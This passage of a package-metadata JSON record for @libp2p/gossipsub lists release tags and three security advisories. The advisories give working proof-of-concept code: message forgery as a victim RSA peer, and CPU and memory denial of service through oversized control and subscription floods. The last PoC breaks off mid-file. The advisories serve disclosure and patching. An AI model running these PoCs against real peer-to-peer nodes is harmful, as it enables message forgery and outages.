ar.gz/plaintext-v3.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.13/manifests"},{"name":"ping-v3.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.0.13/manifests"},{"name":"perf-v5.0.14","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.0.14/manifests"},{"name":"peer-store-v12.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.13/manifests"},{"name":"peer-collections-v7.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.13/manifests"},{"name":"opentelemetry-metrics-v2.0.14","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.14/manifests"},{"name":"multistream-select-v7.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.13/manifests"},{"name":"mplex-v12.0.14","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.14/manifests"}]},"repo_metadata_updated_at":"2026-10-28T09:21:38.447Z","dependent_packages_count":0,"downloads":50338,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":23.814601704347172,"dependent_packages_count":34.352979422651956,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":29.083790563499562},"purl":"pkg:npm/%40libp2p/gossipsub","advisories":[{"uuid":"GSA_kwCzR0hTQS1jM2d2LTgyNXEtZnZtcM4AB5Oe","url":"https://github.com/advisories/GHSA-c3gv-825q-fvmp","title":"libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID","description":"### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined \u0026\u0026 !publicKey.equals(fromPeerId.publicKey)) {\n  return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit's `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from 'node:assert'\nimport { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'\nimport { StrictSign } from '@libp2p/gossipsub'\nimport { peerIdFromPrivateKey } from '@libp2p/peer-id'\nimport { concat as uint8ArrayConcat } from 'uint8arrays/concat'\nimport { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'\nimport { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'\nimport { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'\n\nconst label = 'gossipsub StrictSign RSA author spoof'\n\nfunction seqno (n: bigint): Uint8Array {\n  const out = new Uint8Array(8)\n  new DataView(out.buffer).setBigUint64(0, n, false)\n  return out\n}\n\nasync function main (): Promise\u003cvoid\u003e {\n  const attackerKey = await generateKeyPair('Ed25519')\n  const victimRsaKey = await generateKeyPair('RSA', 512)\n  const victim = peerIdFromPrivateKey(victimRsaKey)\n\n  const msg: RPC.Message = {\n    from: victim.toMultihash().bytes,\n    data: uint8ArrayFromString('forged as victim RSA peer'),\n    seqno: seqno(1n),\n    topic: 'poc-topic',\n    signature: undefined,\n    key: undefined\n  }\n\n  // Sign the protobuf message that claims victim in `from`, using attacker's key.\n  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n  msg.signature = await attackerKey.sign(bytes)\n  msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n  const result = await validateToRawMessage(StrictSign, msg)\n\n  if (!result.valid) {\n    throw new Error(`expected forged message to validate, got ${result.error}`)\n  }\n\n  assert.equal(result.message.type, 'signed')\n  assert.equal(result.message.from.equals(victim), true)\n  assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n  console.log(`${label} reproduced`)\n  console.log(`claimed victim RSA author: ${victim}`)\n  console.log('signature verified with attacker-supplied key')\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-17T17:29:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp","https://github.com/libp2p/js-libp2p/pull/3569","https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f","https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5","https://github.com/advisories/GHSA-c3gv-825q-fvmp"],"source_kind":"github","identifiers":["GHSA-c3gv-825q-fvmp","CVE-2026-86038"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-17T18:00:08.816Z","updated_at":"2026-10-28T20:02:22.380Z","epss_percentage":0.00193,"epss_percentile":0.08826,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jM2d2LTgyNXEtZnZtcM4AB5Oe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jM2d2LTgyNXEtZnZtcM4AB5Oe","packages":[{"ecosystem":"npm","package_name":"@libp2p/gossipsub","versions":[{"first_patched_version":"16.0.5","vulnerable_version_range":"\u003e= 15.0.0, \u003c 16.0.5"}],"purl":"pkg:npm/%40libp2p%2Fgossipsub"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jM2d2LTgyNXEtZnZtcM4AB5Oe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jd2M5LWNwNGotbWN2ds4ABagg","url":"https://github.com/advisories/GHSA-cwc9-cp4j-mcvv","title":"libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays","description":"### Summary\ngossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.\n\nThe two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.\n\n### Details\n### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`)\n```typescript                                                                                             \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n  maxSubscriptions: Infinity,\n  maxMessages: Infinity,\n  maxIhaveMessageIDs: Infinity,\n  maxIwantMessageIDs: Infinity,\n  maxIdontwantMessageIDs: Infinity,\n  maxControlMessages: Infinity,\n  maxPeerInfos: Infinity\n}\n```\n\nThese are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`.\n\n### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`)\n\n```typescript                                                                                                                                                                                                         \nmessageIDs.forEach((msgId) =\u003e {                                                                            \n  const msgIdStr = this.msgIdToStrFn(msgId)                                                               \n  if (!this.seenCache.has(msgIdStr)) {                                                                     \n    iwant.set(msgIdStr, msgId)                                                                            \n  }                                                                                                       \n})                                                                                                        \n// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes                      \n```\n\nThe per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.\n\n### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`)\n```typescript                                        \nmessageIDs?.forEach((msgId) =\u003e {                     \n  const msgIdStr = this.msgIdToStrFn(msgId)          \n  const entry = this.mcache.getWithIWantCount(msgIdStr, id)                                               \n  // ...                                                                                                  \n})                                                                                                        \n```\n\nUnlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.\n\n### Attack Paths\n**IHAVE (requires ~10 Sybil peers)**\nThe attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.\n\n**IWANT (single peer, no Sybil)**\nThe attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.\n\n### PoC\nSetup and execution of PoC\n```bash                                              \ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p                                         \nnpm install                                          \ncd packages/gossipsub                                \nnpx aegir build                                      \nnode --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000                                             \n```\nPoC Content:\n```typescript\nimport { stop } from '@libp2p/interface'\nimport assert from 'node:assert'\nimport { performance } from 'node:perf_hooks'\nimport { encode as lpEncode } from 'it-length-prefixed'\nimport { pEvent } from 'p-event'\nimport { RPC } from '../src/message/rpc.js'\nimport { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js'\nimport { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'\nimport type { GossipSubAndComponents } from './utils/create-pubsub.js'\n\nconst TOPIC = 'poc-ihave-flood'\nconst MSG_ID_BYTES = 20\n// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)\nconst MSG_IDS_PER_IHAVE = 180_000\n\nfunction randomMsgIds (count: number): Uint8Array[] {\n  return Array.from({ length: count }, () =\u003e {\n    const id = new Uint8Array(MSG_ID_BYTES)\n    crypto.getRandomValues(id)\n    return id\n  })\n}\n\ndescribe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () {\n  this.timeout(30_000)\n\n  let victim: GossipSubAndComponents\n  let attacker: GossipSubAndComponents\n\n  beforeEach(async () =\u003e {\n    ;[victim, attacker] = await Promise.all([\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n    ])\n\n    // Both subscribe to the topic so the victim builds a mesh entry\n    victim.pubsub.subscribe(TOPIC)\n    attacker.pubsub.subscribe(TOPIC)\n\n    await connectPubsubNodes(victim, attacker)\n\n    // Wait for one heartbeat so the victim's mesh includes the attacker\n    await pEvent(victim.pubsub, 'gossipsub:heartbeat')\n  })\n\n  afterEach(async () =\u003e {\n    await stop(\n      victim.pubsub, attacker.pubsub,\n      ...Object.values(victim.components),\n      ...Object.values(attacker.components)\n    )\n  })\n\n  it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () =\u003e {\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    // Verify attacker is in victim's mesh (required for handleIHave to iterate IDs)\n    const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set\u003cstring\u003e | undefined\n    if (meshPeers == null || !meshPeers.has(attackerIdStr)) {\n      // Force mesh membership for the PoC if heartbeat hasn't built it yet\n      if (meshPeers == null) {\n        (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))\n      } else {\n        meshPeers.add(attackerIdStr)\n      }\n    }\n\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    // Invoke handleIHave directly\n    const t0 = performance.now()\n    const iwant = (victim.pubsub as any).handleIHave(\n      attackerIdStr,\n      [{ topicID: TOPIC, messageIDs }]\n    ) as Array\u003c{ messageIDs: Uint8Array[] }\u003e\n    const elapsed = performance.now() - t0\n\n    console.log(`\\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)\n    console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)\n    console.log(`[PoC] Heartbeat interval:  ${GossipsubHeartbeatInterval} ms`)\n\n    // The blocking time should be significant (\u003e\u003e10ms) for a meaningful DoS\n    assert.ok(elapsed \u003e 50,\n      `expected \u003e50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)\n\n    // Victim caps the response regardless of how many IDs were iterated\n    assert.ok(\n      iwant[0]?.messageIDs?.length \u003c= GossipsubMaxIHaveLength,\n      `response should be capped at ${GossipsubMaxIHaveLength}`\n    )\n  })\n\n  it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () =\u003e {\n    const N_PEERS = 10\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes\n    const fakeMeshPeers: Set\u003cstring\u003e = new Set()\n    ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)\n\n    let totalElapsed = 0\n\n    for (let i = 0; i \u003c N_PEERS; i++) {\n      // Each \"Sybil\" peer uses a unique peer ID string\n      const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}`\n      fakeMeshPeers.add(fakePeerId)\n\n      // Fresh counters: simulates a peer the victim hasn't seen this heartbeat\n      ;(victim.pubsub as any).peerhave.delete(fakePeerId)\n      ;(victim.pubsub as any).iasked.delete(fakePeerId)\n      // Score defaults to 0 (\u003e gossipThreshold of -10): no score entry needed\n\n      const t0 = performance.now()\n      ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])\n      const elapsed = performance.now() - t0\n\n      totalElapsed += elapsed\n      process.stdout.write(`  peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\\n`)\n    }\n\n    const ratio = totalElapsed / GossipsubHeartbeatInterval\n    console.log(`\\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)\n    console.log(`[PoC] Heartbeat interval:                    ${GossipsubHeartbeatInterval} ms`)\n    console.log(`[PoC] Ratio (block / heartbeat):             ${ratio.toFixed(2)}x`)\n    console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`)\n    console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`)\n\n    // 10 peers should easily exceed the 1s heartbeat interval\n    assert.ok(\n      totalElapsed \u003e GossipsubHeartbeatInterval * 0.9,\n      `expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`\n    )\n  })\n\n  it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () =\u003e {\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    const rpc = RPC.encode({\n      subscriptions: [],\n      messages: [],\n      control: {\n        ihave: [{ topicID: TOPIC, messageIDs }],\n        iwant: [],\n        graft: [],\n        prune: [],\n        idontwant: []\n      }\n    })\n\n    const MAX_LP_BYTES = 4 * 1024 * 1024  // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed\n\n    console.log(`\\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n    console.log(`[PoC] LP frame limit:      ${MAX_LP_BYTES / (1024 * 1024)} MB`)\n    console.log(`[PoC] Fits in one frame:   ${rpc.byteLength \u003c= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)\n    console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)\n\n    assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)\n  })\n})\n```\n\nThe IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.\n\n### Impact\nAny node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`.\n\nWith 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.\n\nNodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected.\n\n## Suggested fix\n\nSet finite defaults in `decodeRpc.ts`:\n```typescript\nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n  maxSubscriptions: 128,\n  maxMessages: 256,                                                                                                                                                                                                                                  \n  maxIhaveMessageIDs: 5_000,\n  maxIwantMessageIDs: 5_000,                                \n  maxIdontwantMessageIDs: 5_000,\n  maxControlMessages: 128,\n  maxPeerInfos: 16\n}\n```\n\nSetting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-10T16:04:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-cwc9-cp4j-mcvv","https://nvd.nist.gov/vuln/detail/CVE-2026-49866","https://github.com/libp2p/js-libp2p/pull/3520","https://github.com/libp2p/js-libp2p/commit/773dd80ded24dbd6b19e675c89fd2f3b45f2d899","https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.0","https://github.com/advisories/GHSA-cwc9-cp4j-mcvv"],"source_kind":"github","identifiers":["GHSA-cwc9-cp4j-mcvv","CVE-2026-49866"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-10T17:00:09.767Z","updated_at":"2026-10-28T20:03:46.223Z","epss_percentage":0.0063,"epss_percentile":0.49526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd2M5LWNwNGotbWN2ds4ABagg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jd2M5LWNwNGotbWN2ds4ABagg","packages":[{"ecosystem":"npm","package_name":"@libp2p/gossipsub","versions":[{"first_patched_version":"16.0.0","vulnerable_version_range":"\u003c 16.0.0"}],"purl":"pkg:npm/%40libp2p%2Fgossipsub"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd2M5LWNwNGotbWN2ds4ABagg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ZjhyLTkyMmgtMnZnds4ABXO7","url":"https://github.com/advisories/GHSA-4f8r-922h-2vgv","title":"js-libp2p: Memory DoS via subscription flood of unique topics","description":"### Summary\nThree cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.\n\n1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC.\n2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit.\n3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime.\n\nA single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).\n\n### Details\n#### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`)\n\n```typescript                                                                                              \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {                                                   \n  maxSubscriptions: Infinity,   // \u003c- no decode-level cap                                                   \n  // ...                                             \n}                                                    \n```\n\nPassed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.\n\n#### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`)\n\n```typescript                                        \nlet topicSet = this.topics.get(topic)\nif (topicSet == null) {\n  topicSet = new Set()\n  this.topics.set(topic, topicSet)   // new entry per unique topic, no count guard\n}\ntopicSet.add(from.toString())\n```\n\n`this.topics` (`Map\u003cTopicStr, Set\u003cPeerIdStr\u003e\u003e`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is \"not bounded by topic count\", but only for the `allowedTopics != null` branch, the default is `null`.\n\n#### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`)\n\n```typescript                                        \nfor (const peers of this.topics.values()) {\n  peers.delete(id)\n  // empty Set is NOT removed from this.topics\n} \n```\n\nAfter disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575–602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime.\n\nSecondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.\n\n#### Attack path                                      \n\n1. Attacker dials victim and opens a gossipsub stream.\n2. Score 0 \u003e `gossipThreshold = −10` thus subscriptions are processed immediately. No score check gates subscription handling.\n3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.\n4. Victim's `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` → 349,525 calls to `handleReceivedSubscription` -\u003e `this.topics` grows by 349,525 entries -\u003e ~89MB heap consumed -\u003e ~224ms event-loop blocked.\n5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.\n6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.\n\n### PoC\n**Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`):\n\n```bash                                              \n$ git clone https://github.com/libp2p/js-libp2p.git\n$ cd js-libp2p                                         \n$ npm install                                          \n$ cd packages/gossipsub                                \n$ npx aegir build                                      \n$ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000                                        \n```\n\nFile PoC:\n```typescript\n/* eslint-env mocha */\n\nimport { stop } from '@libp2p/interface'\nimport assert from 'node:assert'\nimport { performance } from 'node:perf_hooks'\nimport { RPC } from '../src/message/rpc.js'\nimport { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'\nimport type { GossipSubAndComponents } from './utils/create-pubsub.js'\n\n// Number of unique topics per attack RPC (for direct injection tests).\n// Chosen to demonstrate impact without LP-framing; the ENCODE test shows\n// how many actually fit in one 4 